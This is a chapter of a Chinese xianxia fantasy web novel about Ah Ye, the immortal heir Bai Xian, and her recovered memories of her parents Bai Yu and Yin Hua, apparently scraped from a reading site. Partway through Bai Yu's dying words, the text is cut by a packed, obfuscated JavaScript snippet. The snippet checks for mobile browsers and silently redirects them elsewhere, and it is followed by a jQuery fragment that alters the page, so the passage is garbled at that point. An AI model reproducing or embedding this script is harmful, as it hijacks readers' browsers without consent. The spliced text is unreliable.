“吾以……半颗仙心向古神青龙献祭,保佑仙族渡过此次难关。” 窸窸窣窣的声响里,白闲撕下干净的半片衣襟,一点点塞进口中,死死咬住金丝剑纹,冷汗涔涔,调转剑尖,直指心口—— “够了!” 阿也猛地抽开手,气息急促,“够了,够了……” “阿欢。”白闲轻声呢喃,“你心里有我。” 努力平复吐息,阿也用力地闭了闭眼,低声道,“可你把白一炼成了尸傀。” “那些已过去了,我们会有新的未来。”白闲执起她的手,温柔地戴上那枚乌金尾戒,眼中独独映出她一个人的身影,“你看,很衬你。” 阿也看着这副写满了笑意,堪称摄人心魄的皮囊,那双漆如点墨的眼里波光潋滟,似有千言万语—— 有多少是在演?她想着,忽然就笑了起来,把玩那枚乌金尾戒,慢条斯理道:“你想求和?” 白闲坦然道,“是,我想求和。” “若我说,”阿也抬起眼,笑意盈盈,“不呢?” 白闲一怔,这不是他所预想的回答,也并非他所意外的问题,却觉得,为了这个笑容,已经等了很久。 于是他跟着笑起来,收回那枚尾戒,忽地手腕翻转,再度抓住她的手,在空荡荡的小指上落下一吻。 其实他们之间做过许多远比这更激烈的事,但无端的,这个蜻蜓点水般的吻令他心神俱颤。 “永别了。”白闲目送她离去,“阿也。” 暮色昏黄,人终于迈出宫门。殷珅立即迎上去,迫不及待地追问,“他和你都说了些什么?” “一点旧事而已。”阿也摆了摆手,“回去了。”她大步向前,不曾注意殷珅半路停下的身影,以及他眼中忽然窜出一抹红光,又迅速暗淡下去。 这一觉睡得并不安稳。 阿也索性翻身坐起,在黑暗中整理思绪。 赌对了,白闲就是那柄钥匙,打开了过去的自己留下的最后一把锁,于是尘封的记忆自然而然地在眼前闪过,仿佛沉入湖水的羽毛再度浮起。 在凶兽的咆哮声里,殷婳带着她藏进流潦之森的中心,小心翼翼擦去她额头冷汗,“孩子,你受委屈了,是我不好。” “我没有受委屈……”她使劲扼住胸口,上气不接下气,“他们,他们对我很好。” “既然好,又怎么舍得让你这么痛。”殷婳叹道,转而温和地注视她,像是越过十六年,回到初次见到那个在襁褓中酣然熟睡的婴儿的瞬间,心甘情愿地包容所有她犯下的过错。 “孩子,你知道自己修的是什么道吗?” 你修的是什么道? 她张了张口,想问自己,却无力回答。 自己仿佛被切成两半。 一半躺在地上,血冻结成冰,扎穿经脉,刺进骨髓,让身体不受控制地抽搐,而另一半飘在空中,好整以暇地观赏这份痛楚,像是在笑迷途之人不自知。 “我……”她冷汗涔涔,说不出话。 殷婳抓住她的肩,目光如水,魔力也如狂潮般倾泻而出,涌入女儿的身体。她的声音那么轻,可手那么用力:“你知道么?” 风从耳边呼啸而过,她抬起头,目光越过高耸入云的森林,投向悬挂在天边的圆月。 她喉头一甜,猛地喷出一口血。 霎那间天旋地转,森林腾空跃起,圆月旋转着下坠,她伸手想接住它,一同被摔得粉碎。 你修的是什么道? 能识文断字的那一年,仙君差开仙主,赐予她那本秘籍,问她愿不愿意为世子效力。 “效力是什么?” “你想不想……让世子多笑一笑?” 于是她接过那本秘籍,扉页记载着因此陨落的人名——史书上浓墨重彩的、人们口口相传的,通通化作枯黄纸页上的寥寥字眼,足以见其危险。 继续往下翻,不知翻了多久才得见正文。 一念之喜,景星庆云;一念之怒,震雷暴雨;一念之慈,和风甘露;一念之严,烈日秋霜。 何者所感,只要随起随灭;廓然无碍,便与太虚同体。 剪人欲,绝尘缘,拓天理。 生杀夺与,剑之无情;定云止水,至强之道。 ……是她破戒。 是她弄坏本该圆满的一切。 轻柔的小谣声抚平了那种仿佛被揉碎的痛楚,她咬紧牙关,察觉落在背上的手越来越轻,努力让自己在洪流般的温暖里保持清醒,仓皇道:“不,不要……” “不要!” 下一瞬间,金戈相接,长生剑碎。她徒手抓住那把旧剑,溅了满手滑腻,在摇曳的火光里,看清了那张枯槁的脸。 她曾见过的。阿也想,在白闲到来之前,在试炼的那些天里,始终有个戴白兜帽的男人守在擂台下,追随她的一举一动,背着一把破破烂烂的旧剑。 所以殷婳才能潜入王城。 又或许当时他御剑赶来,并非为了拦截他们,而是想见上一面,甚至助上一臂之力。 ……但那些都已无从证实。阿也心想,听见自己的声音,“这是你的剑?” “这不是我的剑。”白钰摇头,目光长久地停留在她的眉心,那个双枝缠刀的魔纹上。 半晌,视线向下移动。他深深望进那双赤瞳,像是同另一个人对话,低声道,“这是……我的罪。” “你唤我来,所谓何事?”她看着白钰耳上那粒赤红小珠,隐约觉得熟悉,好像在哪里见过。 注意到她的目光,白钰拽下那粒红珠,轻轻碾碎了,洒出一片闪耀的光,最后将手中剑递给她,轻声道:“从今往后,再无剑契。” “剑契?”她问。 “这样就好……”白钰咳出大团的血花,含笑道,“就让我…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400639|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与婳儿同葬吧。” 白钰仰面栽进尸山血海里,倒在残破的王城前,在尽了作为剑使的本分后,他与一个寻常的父亲并无分别。 原来她并不是没人要的孩子。阿也心想,目视自己拿起剑,一步步迈进王城的硝烟。 再一眨眼,阿也身处陌生又熟悉的街道之中,挥剑砍断凶兽的角与翅,穿过刀光剑影。水诀在面前轰然炸开,洋洋洒洒,五光十色,被剑光劈开。视线忽然定格—— 她看见了一个人。 一个人有什么好奇怪的?这里到处都是人,男女老少,半人半妖,到处都是人,没什么特别的。 但她只看见了他。 他是谁?阿也皱眉,并不喜欢这种心绪被牵动的感觉,在战斗中乃是大忌,所以当利爪伸向那人后背时,她没有出手。 等到长剑贯穿凶兽心口,温热扑面,阿也才意识到自己做了什么,转过身,对上一双漆如点墨的眼睛。 他的时间好像静止了,但她的没有。 于是阿也借机打量面前这个人,伤势很重,满是血气,灰头土脸,看不清长相,但领口残破的剑纹十分眼熟,完整的模样呼之欲出。 “阿欢。”那人颤声道。 他认识我?阿也警觉地后退两步,拉开距离。 “阿欢。”那人摇摇晃晃地向她走近,像是随时会跌倒,同瓷器那样碎掉,“别走……” 这一声叫得人莫名难受,阿也张了张口,又忘了自己想说什么,干脆抬起剑,冷声道:“你是谁?” “我是……” “吾乃仙族世子,今日,顺应天召继位。”白闲负手立于高台之上,睥睨王城,扬声道,“念圣女守城有功,特赐祭司之位,掌无铭仙剑,扬我仙族之威!” 欢呼声此起彼伏,白闲循礼抬起她的手,戴上那枚乌金尾戒,耳语道:“这是我从祭庙求来的,权同仙君,事成之后,自然将白钰骨灰予你。” 画面一转,那枚至高无上的乌金尾戒被扔进飘红的泥水里。 “你身为祭司,胆敢以下犯上,如今仙君在此,还不快速速就擒!” “别怕,我在这儿。”将受伤的九洮与云娘护在身后,阿也耸了耸肩,轻描淡写道:“这破祭司,谁爱当谁当。” 白闲眼神骤变,面上仍是笑着:“不过是遭人训斥了几句,你真要为一介奴婢闹到这个地步?” “这个地步怎么够?”阿也抬剑,横亘胸前,摆出起手式,“刚才我可是留了手的。” 暴雨洗过剑锋,而她的眼神比寒芒更加锐利冰冷,一双赤瞳里仿佛沉积着乌云,“现在,来一个,我杀一个。” 血流成河。 意识如灯油燃尽的烛火,忽闪忽灭。 “你醒了?” 涣散的瞳孔缓缓聚焦,露出些许茫然,像是幼兽出生后第一次睁眼,见到万千繁华世界,等对上那双相似的桃花眼,不由愣神。 “小烨?”声音如此陌生,怀抱却很温暖。 一阵虚弱的咳嗽后,意识逐渐回笼。华烨望进那双欲言又止的眼里,读懂一切,笑了笑,轻声说,“云姑娘。” “您要找的人,不是我。”